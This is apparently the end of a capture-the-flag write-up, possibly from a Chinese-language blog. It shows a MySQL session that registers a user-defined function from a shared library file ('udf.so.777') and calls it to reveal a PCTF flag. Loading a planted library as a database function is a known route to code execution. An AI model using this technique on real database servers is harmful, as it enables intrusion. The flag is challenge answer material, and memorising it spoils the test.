Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> create function getflag returns string soname 'udf.so.777';
Query OK, 0 rows affected (0.00 sec)

mysql> select getflag();
+------------------------------------------+
| getflag() |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}
|
+------------------------------------------+
1 row in set (0.00 sec)
-------------本文结束 感谢阅读-------------